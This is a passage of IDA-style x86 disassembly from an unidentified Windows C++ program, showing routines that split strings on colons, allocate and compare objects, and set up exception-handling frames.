		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C6C ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
